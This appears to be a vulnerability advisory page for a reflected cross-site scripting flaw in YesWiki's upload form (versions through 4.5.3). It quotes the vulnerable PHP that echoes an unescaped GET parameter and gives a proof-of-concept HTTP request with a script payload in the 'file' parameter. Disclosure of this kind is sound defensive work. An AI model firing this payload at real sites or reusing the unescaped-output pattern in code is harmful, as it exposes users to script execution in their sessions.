GIVE YOUR AGENT THE EVIDENCE

Set up in your agent.

One prompt to get started. Paste it into your coding agent to connect cve.new through MCP and bring vulnerability context into your workflow.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

GIVE YOUR AGENT THE EVIDENCE

Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

cve.new
Check your stack
GHSA-2f8p-qqx2-gwr2high7.6

YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting

Impact

Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

Source excerpt · OSV

Affected packages

Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.

yeswiki/yeswiki Packagist
Affected rangeRecorded fix
Earlier releases through 4.5.3 (inclusive)Ecosystem versionsNot recorded

Version evidence: OSV · GHSA-2f8p-qqx2-gwr2

View original version evidence (23 explicit versions)

Original source description

Summary

Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

  • YesWiki v4.5.3 (doryphore-dev branch)
  • Docker environnment (docker/docker-compose.yml)

Vulnerable code

The vulnerability is located in the file

        public function showUploadForm()
        {
            $this->file = $_GET['file'];
            echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
            echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
                . '	<input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
                . '	<input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
                . "	<input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
                . "	<input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
                . '	<input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
                . "</form>\n";
        }

PoC

  1. You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution
GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
  1. Get a response <img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />

Impact

This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions

References